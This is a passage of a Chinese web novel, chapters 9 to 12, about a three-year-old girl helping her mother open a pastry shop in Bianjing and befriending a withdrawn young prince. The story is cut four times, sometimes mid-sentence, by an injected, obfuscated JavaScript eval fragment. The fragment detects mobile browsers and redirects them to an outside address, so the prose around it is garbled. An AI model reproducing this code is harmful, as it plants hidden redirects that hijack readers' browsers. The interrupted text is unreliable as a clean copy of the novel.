他跟娘子意识到茵茵自己跑出来之后,赶紧追上,好在人没丢。 苏茵茵本就没怎么睡醒,这会在爹爹怀里更困了,乖乖窝在苏副使臂弯睡觉。 汴京人都说抱孙不抱儿,本想笑话苏副使这么宠闺女,往他怀里一看,粉粉嫩嫩的小宝宝一只手拉住爹爹胳膊,又乖又可爱。 酸了。 他们也想要个闺女。 就要这个了。 不行? 认个干闺女也行啊! 苏娘子被不少娘子拉着闲聊,恭喜她小店马上要开,还预定了点心,到时候给她捧场。 苏娘子颇有些紧张,认认真真道谢:“不过只有三种点心,不要嫌弃才是。” 说到即将要开的点心店,她从心底感到开心。 第一日出门卖点心,她还不好意思呢。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14060883|149243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三年过去,终于攒下店面的银子。 虽说只是常安巷巷口的小铺子,里面站三个人都觉得拥挤。 位置也只在西边集会的边缘,但对她来说心满意足了。 第二日清早,苏家四口去铺面打扫,这铺面太窄,稍微大点的行当都受限,许久没人租赁,需要彻底清扫几遍。 卖吃食,定然要干干净净才成。 苏茵茵帮着扫地,那扫把比她人都高,看得苏娘子哭笑不得,赶紧拉开:“不用你帮忙。” 说着,把宝宝抱到凳子上,塞给她一块米饼。 爹爹搬东西提水,娘亲擦桌子,哥哥扫地。 她? 她会不会太没用啊。 坐在凳子上的小宝宝踢踢小腿,有点郁闷。 “哎,你们这店面,做什么的啊。” 路过的人随口道。 苏茵茵蹭一下抬头,软声软气答:“卖点心的呀,我们还有十天就开业啦,到时候欢迎光临哦。” 路人瞬间被可爱到。 好好好。 到时候他一定来! 店面还在打扫,踩着小凳子的苏茵茵就在招揽顾客啦! 苏娘子笑得宠溺,苏副使哥哥苏显打扫得更卖力了。 他们一定会把慧女点心铺开起来的! 此时,西市集会。 苏娘子苏茵茵经常摆摊的位置,换了个老人家卖菜。 六岁削瘦的小孩走过去,没看到想象当中的人。 打听片刻,小孩往集会边缘走。 站在铺面里面的小宝宝只漏了个小脑袋,无论谁路过,她都甜甜招呼:“十天后点心铺开业哦。” 六岁的小孩走到附近,却没听到小宝宝招呼他。 小孩沉默抬头。 店铺的窗口比他高,里面的小宝宝看不到他。 苏茵茵其实看到了! 她努力撑着胳膊往下看:“十天后。” “哎?是你!” 三岁的苏茵茵撑着窗口台面往下看,正好对上六岁小孩的目光。 是昨天救人那个! 苏茵茵没说完,赶紧捂住嘴。 小情侣幽会的事不能说。 这是他们两个的秘密。 “你这样危险。”小孩看了下,进到铺子里,把人抱下来,“不能踩凳子,知道吗。” 本来就挤的小店里,现在站着五个人。 特别是自己进来的小孩,人虽小,气势却足,让苏家一家四口一时间不知道谁是主人。 小宝宝挠头,好像确实不应该,乖乖道:“好的哦。” 小孩皱眉,还是没有表情。 “茵茵你们认识吗。”苏娘子有些疑惑,她家宝宝什么时候认识的别家小孩。 苏茵茵连连点头:“认识的。” 不仅是昨天一起救人。 小哥哥还买过她家清糖饼啊。 甚至还给了很多定金! 这个小店能开起来,有他一份功劳! 苏茵茵朝他甜甜笑笑,大眼睛里好像只有小哥哥。 可惜救人不能说,六个月能记住自家顾客的事也不能说哎。 苏茵茵拉住小哥哥袖子:“我们是很好的好朋友,一起做过好人好事!” 救人。 当然是好人好事。 小孩嘴巴微张,又闭上,算是默认。 于是,两个小孩手里都被塞上米饼,一起站在窗口的小凳子上招揽客人。 小男孩紧紧拉着小女孩,确定摔到他能垫背,这才松口气。 “慧女点心,十天后开业,欢迎光临。” 9. 第 9 章 第9章 皇宫,坤宁正殿,皇后寝宫。 “渊儿,今天要去常安巷点心铺吗。”皇后替孩子整理好衣袖,再次问。 小太子李锐渊沉默点头。 他身上穿着寻常衣物,明显要出宫。 除了去皇子阁读书之外,一有时间,渊儿都会去同一家点心铺。 那家店还没正式营业,只是跟店里的小孩投缘。 皇上皇后对视一眼,并不阻拦。 孩子难得有朋友,他们心里很是宽慰。 苏家是忠义纯孝之家,接触也没坏事。 而且还是家点心铺,要是能在那多吃些东西,就更好了。 三年前宫变,都是他们没护好孩子,才让他变成这般。 六岁的孩子,整个人瘦得可怕。 之前总觉得他能多吃些,谁料稍微吃的多点,肯定会吐。 最近这几年他们寻遍名医,还带着他去了云贵也没找到解决办法,反而让孩子更瘦了。 皇后只盼着,孩子能多吃点东西。 无论用什么办法都好。 削瘦的小孩再次出现在慧女点心门口,今日开业,苏茵茵穿了崭新的衣裳,嫩黄色的小裙子,看着很有春天花朵开放的感觉。 苏茵茵见小朋友来了,笑眯眯跟他打招呼:“原锐你来了!” 他家仆从照例跟苏家人打招呼,并小声跟苏家夫妇道:“少爷跟这里投缘,就是想过来玩。” 这话说的尴尬,赶紧接着道:“我家老爷说,您家今日剩下的点心,我们给包圆了。” “不用,就让他们在一起玩吧。”苏娘子连忙道,“不用买什么点心,他在这还招揽客人了呢。” 苏副使点头,他也不赞同收钱。 他再看那个孩子,心里隐隐有些感觉。 若非孩子年纪太小,他总觉得像是受到极大的刺激才有这般模样。 不少同僚从战场上下来,总是眼神冰冷,不再说话,严重些的甚至会精神失常。 可这么小的孩子,又会受到什么刺激? 苏副使不是多舌的人,并未多问,只是私底下同苏娘子说过这个可能性。 至于这是哪个大家的公子,他们更不好多问。 汴京城嘛,便是王爷的儿子,也是有可能的。 人家不说,他们就当不知道。 故而苏家夫妇对这个过分削瘦的小孩心里带着怜爱。 接触下来,知道这家小少爷人不错,就是孤僻寡言,这也不算什么坏事。 小孩嘛,喜欢在一起玩多正常。 苏茵茵正在跟小朋友分享米饼吃。 苏茵茵吃完自己的,歪头看向对方。 对方吃的极为斯文,一小口一小口的咬,只是看起来一点食欲也没有,好像在完成什么任务。 仆从刚要松口气,殿下吃东西了!真好! 心里又升起担忧,一会肯定又要吐出来。 可他们不能停留太久,给暗卫们使了个眼神,再跟苏家夫妇告辞,闭店来接人。 说罢,放下不少礼物,感谢苏家人照顾少爷。 苏茵茵抬抬手,双手拉住米饼,大眼睛看向小伙伴,偷偷说:“别吃了。” 小伙伴抬眼,漆黑的眸子盯着她,带了一丝不解。 “太过勉强的话,就别吃了。”苏茵茵感觉小伙伴吃的有点痛苦,但她又低声道:“别让我娘亲看到。” 说罢,米饼被她全都塞到嘴里。 开门第一日! 不能打击娘亲做点心的信心! 一边是吃得很痛苦的小伙伴。 一边是第一日开店的娘亲! 她选择为难自己,消灭米饼! 小伙伴果然松口气,垂下眼,眼前又出现一碗牛奶:“你尝尝这个,看看喜不喜欢。” 小伙伴摇头。 他不喜欢。 小伙伴摇完头又觉得不对。 每次他拒绝食物,身边人眼神或失望或担忧。 小宝宝也会吗。 苏茵茵并未纠结,一口气喝完奶:“好吧,那算了。” 刚想找东西擦擦嘴,小伙伴递来一块柔弱的手帕,苏茵茵双手抱着碗,低头蹭蹭:“谢谢!” “不用谢。”小伙伴手指蜷缩,悄悄收起手帕。 开业了! 外面要放鞭炮,苏娘子让三个孩子捂住耳朵,十一岁的哥哥苏显大步走过来,把两个娃娃按在胸前,同时捂住两个人的耳朵:“好了,可以了。” 啊? 暗卫蠢蠢欲动。 这合适吗。 八百八十八响的鞭炮在门前点燃,慧女点心招牌揭晓。 点心铺,正式开业! 苏茵茵拍着小手一蹦一蹦的。 好开心,娘亲有自己的店了! 苏家人缘好,开业头一日,街坊四邻好友都来捧场。 特别是苏副使的手下,一个个都凑过来,一边买点心,一边道:“沾沾喜气,苏娘子也给我们介绍个媳妇儿吧。” 过来买点心的丁鹏正,刘姐姐,瞬间羞红。 明显在打趣他们。 别说同僚了,便是刘姐姐以前的邻居,都知道他们小两口日子过得圆满。 谁看了不羡慕啊。 抱着这样的想法,不少人都来捧场。 店里只有三样点心,都买了也不贵。 清糖饼,这可是有老顾客的,一张八文钱,用料扎实,口感香甜。 椒盐饼,咸口的,同样八文一张,味道同样好。 最后是米饼,烤出来的米饼,米香味十足,适合打发时间吃,价格非常便宜,一文钱三块。 这三种点心,都是苏家传下来的手艺。 听说百年前的苏家会做五十多种各式花样点心,家道中落后,一代不如一代。 到苏娘子婆婆那,只会二十八种,苏家大儿媳倒是全学了。 苏二媳妇进门,婆婆卧病,勉强教了三种,便没了精神。 苏茵茵感觉,或许不止因为奶奶生病,还因为手里没钱。 想要学习不同样式的点心,需要价格不菲原料。 若是没钱,只能选用料最简单的。 好在这三种点心,娘亲做得非常好。 也不对,他们店里还有一个“隐藏款”喜饼。 喜饼只在特定的时候有人买,日常并不做。 总之,以后小店肯定会越来越好,到时候有钱买其他原料,可以学做更多样式的点心! 苏茵茵对未来有着无限憧憬。 已经看到各式各样的点心在眼前飞啦。 李锐渊盯着苏茵茵片刻,垂眸。 苏茵茵站在小凳子上热情招呼客人,小伙伴站在她身边,看护好她,不让她摔下来。 苏娘子,苏副使,苏显则给人打包点心,忙得不亦乐乎。 开门红。 真好。 苏茵茵还看到大伯跟大伯娘偷偷过来,恨的咬牙切齿。 但他们根本不敢靠近! 估计爹爹私底下教训过他们。 又能赚钱,又能气人,苏茵茵脸上的笑更甜啦。 “两张清糖饼,三张椒盐饼,九块米饼,一共四十三文钱。”三岁的娃娃稚声稚气,口齿却清晰,算得数字准确无误。 一直看她的六岁娃娃李锐渊瞬间抬头。 顾客摸摸脑袋,看向她家大人:“我刚说了那么多东西,她算的对吗。” 苏副使拿着算盘,笑得自豪:“肯定对啊,我家闺女算数可厉害了。” 真的? 他们不信! “小娃娃,那五张椒盐饼,十二块米饼,多少钱?” “也是四十三文!”苏茵茵不假思索。 有人刚想说算错了,只见小娃娃眨眨眼:“多送您三块米饼,不算钱。” 故意出题的客人睁大眼睛。 小娃娃不仅算对了,还因为他买的多,饶了三块米饼。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14060884|149243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虽说只是一文钱,却让客人们心里舒服极了。 “不仅聪明,都是个做买卖的小人精。” “来来来,刚刚说的东西,给我拿三份,我立刻付账!” “一共一百二十九文。”小宝宝飞速心算给出价格。 李锐渊停顿片刻。 其他人则掰着手指头,苏副使拨着算盘珠。 还真是一百二十九文! 三岁的娃娃,不仅会加减法,还会九九歌? 九九歌便是九九乘法口诀。 大小孩都不会啊。 三岁的娃娃却能秒算。 “你家孩子不得了。” “让我再试试,算出来,我也买。” 一个上午,慧女点心铺门前热闹得不行。 准备卖一天的点心,上午全部卖光啦! 苏娘子忍不住亲亲闺女,高兴的她有些语无伦次:“不行,我还要再做一些,不然下午要关门了。” “完了,中午饭也没做。” 苏副使大手一挥:“咱们一家去街上吃,不做了。” 他这个月还发了奖金,肯定够用的。 一言不发的李锐渊也被带到街边小食店里,暗卫们面面相觑。 平日御厨的手艺,殿下都不怎么碰,这种小店,合适吗。 “原锐,坐啊。”苏茵茵拍拍板凳。 化名为原锐的李锐渊坐到苏茵茵身边,想说自己不吃了,但软软的小宝宝靠过来,在他耳边偷偷说:“你不喜欢吃什么呀,可以跟我说。” 李锐渊再次沉默。 那有点多。 停顿片刻,李锐渊才道:“你吃什么,我吃什么。” 也行? 苏茵茵跟李锐渊一个三岁一个六岁,两个人点一份馄饨刚刚好。 三岁的苏茵茵已经不用娘亲喂饭了,乖巧地捧着碗,啊呜一大口,一口一个小馄饨。 李锐渊本来不想吃,盯着小宝宝的时候,见她吃的香甜,这才用了两三个。 再多的,实在吃不下了。 苏家夫妇跟长子苏显明显注意到,他们心里叹息,当做不知道。 这么瘦的小孩,吃饭还这样难。 真可怜啊。 再看看自家孩子,一口一个小馄饨,吃饭真喜人。 两个孩子对比,苏娘子揉揉原锐脑袋,又摸摸闺女小脸。 都是好孩子。 自家孩子吃饭喜人,说不定能把这个小少爷带好呢。 殊不知暗卫们差点抱着哭泣。 殿下早上吃了米饼没吐,这会还吃了三个馄饨。 不对,又被小宝宝喂了一个。 四个馄饨! 大进步啊! 必须马上禀告皇上皇后娘娘的那种进步! 苏茵茵没有再勉强原锐,而是给他揉揉肚子,小声道:“不舒服的话一定要说哦。” 胸口的恶心被压了下去,李锐渊闷声嗯了句,手指有些无措。 小宝宝会不会觉得他很奇怪。 下午,苏副使当值,苏显去私塾。 苏娘子带着两个孩子回家做点心。 带着新做的点心回店里,谁料店门口站着几个衣着不俗的贵仆,一看就是大户人家的下人。 她们看到慧女点心终于开门,长长舒口气,直接道:“你家是不是还做喜饼?” 是啊。 你们怎么知道的? 苏娘子没机会问出来,对方便道:“我们是城南程家的,小定预备一百八十八对喜饼,下个月就要,定金要多少?” 城南住着的,几乎都是达官贵人。 还一口气要一百八十八对喜饼。 这,这是为什么啊? 苏娘子苏茵茵脸上同款疑惑。 李锐渊开口:“是跟张家的吗。” 程家,张家。 苏茵茵终于想到了! 那天想跳湖的小情侣! 他们准备成亲了??? 10. 第 10 章 第10章 程家,张家。 最近一段时间非常不太平。 全因儿女的婚事。 “儿女都是债!” “都是你儿子的错。” “你家就没问题?” 小小争执两句,两家爹娘无语坐下,不敢再吵。 若再让儿女知道,说不定又要跳湖。 那他们怎么办。 比起两人想不开。 还是成亲更划算。 两家人齐齐叹气。 这事还要从二月初十那晚说起。 小情侣自以为计划天衣无缝,偷偷跑出去幽会。 但家里早就急疯。 找到人之后,又得知他们差点跳河殉情,双方家长吓得魂都要散了。 程家张家又气又急,只好答应他们俩的婚事。 不是说对方孩子不好,实在是家长们年轻的时候有“恩怨”。 今日你买了我看上的首饰,明日你抢了我定下的骏马。 两个当爹的,还在皇上面前互相参奏过。 哎。 真扯起来,可以说上三天三夜! 回到家的张小姐,程少爷,全都啊了一声。 同时想到在园子里遇到的小姑娘。 “说不定事情有转机呢。” “一切都会好的!” 真的好起来了。 事情到这一步,两家长辈松口气,小辈更是坚定。 避免夜长梦多,小情侣一再坚持,要早早完婚。 最近一段时间里,就在筹备他们的婚事。 三月小定,八月大定,年底成亲。 这已经是最快的速度了。 好在大户人家的聘礼嫁妆,在他们出生之后,每年都在添置,最近收拢收拢,准备嫁娶。 两家人捏着鼻子坐下谈婚事,小情侣泪眼婆娑,看的大人们也无奈。 算了。 孩子们喜欢就成。 婚事两人不用操心,张小姐想起劝他们不要跳湖的小姑娘。 程少爷道:“她家不是做喜饼吗,不若在她家定好了。” 知道前因后果,长辈们连连点头,救了孩子们的性命,只买些喜饼都是他们亏待。 “一百八十八对喜饼?” “当真?” “自然是真的。”程家婆子压低声音道,“若不是你们家小娃娃,我们两家哪能办喜事。” 喜事都变丧事哦。 到时候两家人哭都没地方哭。 苏娘子一脸疑惑。 反而扒着窗台的两个小人精知道怎么回事。 听到丁刘两家婚宴当晚发生了什么,苏娘子拍拍胸口,吓得够呛:“婚宴那日,还有这事?” 程家婆子惊奇:“小娃娃,你没跟你娘亲说?” 苏茵茵往原锐那边靠了靠,小声道:“答应了哥哥姐姐,不能讲啊。” 三岁的小娃娃,都能保守秘密? 程家婆子瞬间安心,连连点头:“是了,这事咱们几家知道就行,不要乱说。” 程家婆子还以为这家人都知道呢,早知道不多嘴了。 “还是不要多说,对孩子们也有影响。”苏娘子认真道,她是真的在为小情侣考虑。 十七八岁的未婚小夫妻,经不起流言蜚语。 如此家风,怪不得能养出这般好的闺女。 一对喜饼二十文。 一百八十八对喜饼共计三千七百六十。 “您可以先付个零头,给我七百即可,余下的六十文抹零了。” 也就是七钱银子。 程家婆子手伸向银袋子:“你确定?是不是有些太便宜了。” 总共不到四两银子,说出去程家都会被笑话吧。 见苏娘子肯定,程家婆子干脆付了全款,痛快的不行。 苏娘子还道:“明日我先做几对试样,您拿去先尝尝,若口味不对,您家尽管提意见。” 苏娘子真挚无比:“若不得空的话,我送到您府上。” 不到四两银子,还有试吃,还能改进。 这话如实传到程家主母耳朵里,程家主母感叹:“这家老板着实不错,人实在,女儿养得也好。” 说罢又道:“她家男人在西城兵马司?以后多照拂些。” “春夏两季仆从的茶点就从她家买吧,你再去支些银子。” 猛然接到一个大单的苏娘子,还在平息自己的心情,抱着女儿久久不能回神。 第二日又接了程张两家的茶点,更是乐得找不到北。 开店两日,便有了长久的买卖。 两家仆从茶点,加上之后大定,婚宴的喜饼。 苏娘子一时算不过来,狠狠亲亲女儿:“宝宝给娘亲算一下,一共多少银钱?” “小定,一百八十八对喜饼,三两七钱。” “大定,六百六十六,十三两三钱。” “婚宴,一千八百八十八,三十七两七钱。” “两家茶点,共计四十两。” “一共九十四两七钱!” 苏茵茵兴奋道。 到年底,差不多有一百两银子进账。 发财了! 虽说钱还没到账,但茵茵相信,这笔钱他们家肯定能挣到! 好开心啊。 “真是娘亲的小福星。” “不仅救了人,还带来这么大的买卖。” 谁能想到她家宝宝参加喜宴,还有这般收获,不过苏娘子还是紧紧抱住苏茵茵:“宝宝下次迷路要跟娘亲说好不好。” “娘亲听到之后,很担心你。” 园子那般大,有树有水,还是大晚上的。 宝宝救人很好,但宝宝同样有危险。 苏茵茵一愣,乖乖窝在娘亲怀里,语气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14060885|149243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闷闷的,眼睛却亮晶晶。 “娘亲,我可以保护好自己。” “是啊,宝宝可以保护好自己,但娘亲还会担心。”苏娘子再次亲亲宝宝眼睛,“因为你是娘的宝宝。” “所以不用着急帮娘亲挣钱,娘跟爹买得起牛奶,不用省着喝,以后买得起更多新衣裳,好不好。” “你只要当一个小宝宝就好了。” 她家宝宝很知道照顾人,还很会看大人的脸色。 苏娘子又一次亲亲她,太乖了宝宝,可以不用这么乖的。 苏茵茵眨眨眼。 娘亲怎么知道,她急着挣钱,还知道她省着喝牛奶啊。 李锐渊来的时候,见小宝宝呆呆愣愣的,眼睛像是雨水打湿了一般,看着傻乎乎的。 苏茵茵头抵在小伙伴的肩膀上,完全没察觉自己的小伙伴整个人都僵硬了。 好丢脸。 被娘亲看出来了。 还要娘来安慰她啊。 今日的牛奶还没喝,李锐渊见奶要凉了,端起碗道:“我喂你吧。” 昨天小宝宝也喂他了。 他要礼尚往来。 苏茵茵小手放在腿上,头埋在碗里,喝的像小猫一样,来掩饰自己的不好意思。 奶碗见底,苏茵茵抬头,柔软的帕子在她嘴边擦了擦。 “好了。” 话音刚落,热乎乎的喜饼塞到两个小娃娃手中。 喜饼是鸡蛋面粉白糖做的,吃起来软乎得很,正好给两人当早点。 苏茵茵小口吃着。 当娘亲的宝宝真好呀。 她喜欢当娘的小宝宝。 可她不知道怎么当好。 “你刚刚怎么了。”李锐渊问道。 苏茵茵捏捏耳朵,她不知道哎。 上辈子的她习惯照顾别人,她知道怎么保持安静,怎么不惹麻烦,怎么不给孤儿院妈妈们添乱。 她一直是最乖巧,最懂事的那个。 这辈子要当真正的宝宝,她不会呀。 苏茵茵小声道:“你知道怎么当宝宝吗。” 李锐渊沉默,他不知道。 “我想知道怎么当好一个宝宝。”苏茵茵垂眼,娘亲都看出来了,她不想娘亲难过哎。 “你就是个好宝宝啊。”六岁的李锐渊不假思索,“天底下最好的小宝宝。” 是这样吗? 李锐渊定定点头。 没错,是这样的。 苏茵茵想给吃了喜饼的小伙伴揉揉肚子,省得他难受,而且感觉小伙伴对她有滤镜,不能客观描述。 李锐渊低头看了看肉乎乎的小手,又看了看自己削瘦的手指,迟疑片刻,也替小宝宝揉肚子。 礼尚往来! 苏娘子好笑地看着他们两个小娃娃,眼神带着笑意,又给孩子们塞了点心。 春日万物复苏,一切都会好的。 11. 第 11 章 第11章 三月初八清晨,汴京常安巷苏家。 两个穿着朴素的妇人轻轻敲门,眼里带了些忐忑,其中一个捏了捏自己的荷包,门从里面打开,大眼睛肉乎乎的小姑娘热情喊人:“李婶娘,王婶娘,早呀,吃饭了吗。” 说着,小姑娘迎她们进门,让两人心安了些。 “吃过了,都吃过了。” 实际上不好说。 她们都住在乡下,这么早过来,只怕昨晚就到了,不好意思在他家借宿,随便找个便宜地方躺了会,早饭定然没用。 苏娘子正好端着早饭出来,笑着道:“再一起吃些吧,今日有大事要忙呢,少不得劳累。” 苏副使从里屋出来,客气打招呼,又道:“李大哥王大哥他们可还好,最近也不过来走动。” “这不是着急抢耕,家里的活有点多。”李婶娘忙答,“他也想你们呢,还酿了些新酒,让我拿过来。” 李婶娘把背来的行李打开,那边王婶娘也要掏荷包。 苏家夫妇连忙制止:“先吃饭,吃着饭讲。” 这里妇人多,苏副使不好多待,拿了烙饼直接去当值。 兄妹俩则默默吃饭。 留下的苏娘子颇为紧张。 如果说头一次卖点心很紧张,那头一次开店也紧张。 这会甚至要雇工,更紧张了啊。 好在都是自己人,闺女还偷偷握紧拳头给她鼓励,苏娘子认真说明请两位婶子的原因。 慧女点心铺的生意不错,也未到要雇长工的地步,这次请两人过来,跟程张两家的婚事有关。 三月初十要一百八十八对喜饼,也就是三百七十六张饼,明日要送过去。 如今天气渐热,为了喜饼的口感,既然不能提前太早做,也不能匆匆忙忙完成。 雇人成了最好的方法。 再说了,就算小定的喜饼可以应付过去。 八月大定,十二月婚宴,那数量可更多了。 不如提前找人适应适应,到时候不至于手忙脚乱。 苏娘子考虑的周到,但在找人方面,还是有些为难。 好在女儿提了个建议:“可以找婶娘他们啊。” 苏茵茵口中的婶娘,自然不是真正的亲戚,而是苏副使军中的同僚家眷,苏家兄妹一律喊婶娘。 说起来,她们其实不算太熟悉,毕竟每次过来,婶娘们都是借粮借米,脸上难免带了羞愧。 苏茵茵知道,这种事多说多错,无论是装作不在意,还是多做一个表情,都会让她们难受。 接受别人的帮助,同样需要很大的勇气。 但这次不同。 这次是互帮互助。 苏娘子解释前因后果,又道:“明天上午之前,要把喜饼送到客人家中,我一个人实在忙不过来,所以想请你们来做两日短工。” “工钱就按汴京的短工价,每日五十文。” 原本怯生的两个妇人眼神忽然放光,神色也有了片刻放松。 请她们过来,不是让她们还账的? 她们,她们还以为苏家开店艰难,想收回些旧账。 故而一人带了做的新酒,想求求情,宽限一段时日。 另一个卖了家里的衣裳,凑了银钱。 苏茵茵擦擦嘴,跟哥哥一起去洗碗。 苏显自然不可能让妹妹干活,只是带着妹妹,让婶娘们自在些。 这些都是老兵的家眷,要么是家中老人多,都在吃药,要么打仗留了旧伤,或者家中孩子众多。 贫苦之家就像荷叶上的露珠,风稍微一吹,露珠就会松散滑落,最后消失。 苏家夫妇心善,只要是家中真正有事找过来的,能帮则帮。 苏茵茵说请婶娘们的时候,苏副使最是心动,都是当年一起打仗的,他因为幸运没落下终身残疾,这才有机会做兵马司的兵卒。 当年出生入死的兄弟,能拉一把肯定要拉一把。 苏娘子本性良善,也被这个主意打动:“好啊,请她们最合适不过,她们应该愿意来的。” “愿意的,我们肯定愿意。” “一天五十文是不是太多了,要不然别给了,就当我们欠钱的利息。” “少一些也可以的。” 李婶子王婶子不仅松口气,脸上甚至带笑。 苏家夫妇帮他们太多,别说给钱,就算打白工,那也是可以的。 家中生计艰难,若不是苏家夫妇借给他们钱,只怕早就撑不下去。 李婶子又道:“借的钱我们肯定还,等今年秋收,约莫能剩下些,到时候送过来。” 王婶子也点头,他们家也是打算。 “慢慢来吧,日子都是越过越好的,只要平平安安的,没有过不去的坎。”苏娘子劝慰,又劝道,“快吃饭吧,一会咱们就开始准备。” “勿以恶小而为之,勿以善小而不为。”哥哥默默背诵最近学习的内容。 苏茵茵歪头看哥哥。 她也觉得对。 爹爹娘亲就是这样的人。 苏显误以为她没听懂,小声道:“妹妹就是这样的。” 啊? 她? 苏茵茵震惊。 苏显摸摸妹妹的头,忽然想到一件事:“妹妹要不要读书,哥哥教你。” 妹妹算数天分那样高,读书也一定很厉害。 寻常人家都是五岁七岁启蒙,他妹妹聪明,可以早一点! 这让苏茵茵不在意方才的话了,一个劲点头。 好啊好啊,她想学! 本以为要等自己再长大一点才能读呢,没想到哥哥现在就提了。 她想读书! 苏显还要去上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14060886|149243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 学,只能找了自己的蒙书,又挑了自己最好的笔最好的纸张拿给妹妹玩。 “等哥哥放学教你。” “好!” 今日慧女点心不开门,专心做程张两家的小定喜饼。 苏娘子来看女儿的时候,见她抱着哥哥的蒙书认字,一笔一划的跟着写,也就没再管。 苏茵茵写的有些不顺手,她还是第一次用毛笔写字,看的时候就觉得难,自己控制更难了,小手抓的很艰难不说,墨迹也印到脸蛋上。 她写的认真,总觉得有什么事给忘了。 等人之初三个字写完,苏茵茵才有功夫想其他的。 慧女点心门窗紧闭,今日显然不营业,削瘦的小娃娃抬头看着招牌,嘴唇抿了抿。 “殿下,他们今日有事吧,我们回去?” “茵茵姑娘没跟您提前讲吗?” 仆从说完,察觉到殿下的目光。 李锐渊闷声道:“这几日都没来。” 也是,他把这事给忘了。 太傅近日新添了课业,原本一天上课,一日休息,如今改为三日上课,一日休息。 那也不对啊。 殿下提前同茵茵小姑娘说过了吧。 唯一的原因,那就是苏姑娘把这事忘了。 仆从们噤声,暗卫们更是不敢冒头。 “等等,或许开门晚了。” 一等就是半个时辰。 确定慧女点心今日不营业,李锐渊垂眸,想扭头就走,又不想走,明日又要上学,今日见不到小宝宝,就要三天后再见。 那就是隔了七日才能见面。 “原锐!”苏茵茵小跑着出来,果然看到熟悉的人。 小宝宝脸上的墨点都没擦,微微喘息:“对不起,我给忘了。” 她就说有什么事嘛! 原锐今日不上课,来找她玩! 李锐渊眼前一亮,朝苏茵茵快步走过去,伸手擦擦她脸上的墨迹,直接摇头:“没事。” 苏茵茵原因还没讲,就被直接原谅。 这下她更愧疚了啊。 自己的小伙伴人真好。 苏茵茵还是道:“我今日学写字,一时入神,就给忘了,下次绝对不会。” 李锐渊本就不在意,这下反而更是心里软软。 小宝宝真好,他就知道,茵茵不是故意忘记的。 李锐渊想了想:“要不然我教你?” 今年六岁的李锐渊学龄已经有四年。 两岁便已有大学士教导的他,教一个小娃娃,还是很轻松的。 学堂里,一向面无表情的苏显嘴角微微带笑,看得夫子心里毛毛的。 苏显是他最聪明的学生,难道他已经发现,自己教无可教了??? 满脑子怎么教妹妹读书的苏显完全没想到,已经有人捷足先登了。 12. 第 12 章 第12章 苏家小院里,苏娘子带着两位来帮忙的婶娘做喜饼,又搬出来一张小桌给苏茵茵写字用。 李锐渊找了支最小的毛笔,又从蒙书里选出千字文,这才开始教学。 苏茵茵握住毛笔,但最小的毛笔对她来讲,也有些握不住。 一般孩童都在五岁七岁启蒙,对于三岁的小宝宝来说,一切都太大了,只有特制的文具才成。 李锐渊干脆放下手里的笔墨,开口道:“我先教你认字,这样的笔不好用。” “拿久了,手会疼。” 苏茵茵乖乖点头,听专业的! 小伙伴看着家境不错,他肯定更了解。 千字文被李锐渊拿在手中,一字一句教苏茵茵读。 “天地玄黄,宇宙洪荒。” 这些对苏茵茵来说并不难,她的跟读,更多是认字。 繁体字放在文章里,还能蒙个差不多,若单拿出来,许多字确实不认识。 李锐渊头一次当老师,教得格外细致,又恨不得把自己学到的所有东西都教会,完全不知道自己的教学,根本不适合三岁的小宝宝。 暗卫们听的欲言又止,偏偏殿下的学生并不一般,一个上午时间,竟然能把半本千字文全都读出来? 这合理吗? 暗卫家里也有孩子,他们的孩子学半年也只能通读啊。 一天下来,熟读半本千字文的苏茵茵应该开始练字。 可惜那几支毛笔实在不适合小孩子用,只能作罢。 下午放学回来的哥哥苏显兴冲冲进家门,还道:“妹妹,我从千字文开始教吧。” 苏显说完,才想起另一件事:“娘,夫子说明日请你和爹爹去一趟私塾。” 夫子没说什么事,只讲必须要去。 苏娘子点头:“明日下午吧,上午要把喜饼送过去。” 一天的时间,终于做好了。 今天晚上打包好,明日一早就能送到程家。 跟着干活的两个婶子放松许多,又跟着苏娘子去做晚饭,一点也闲不住。 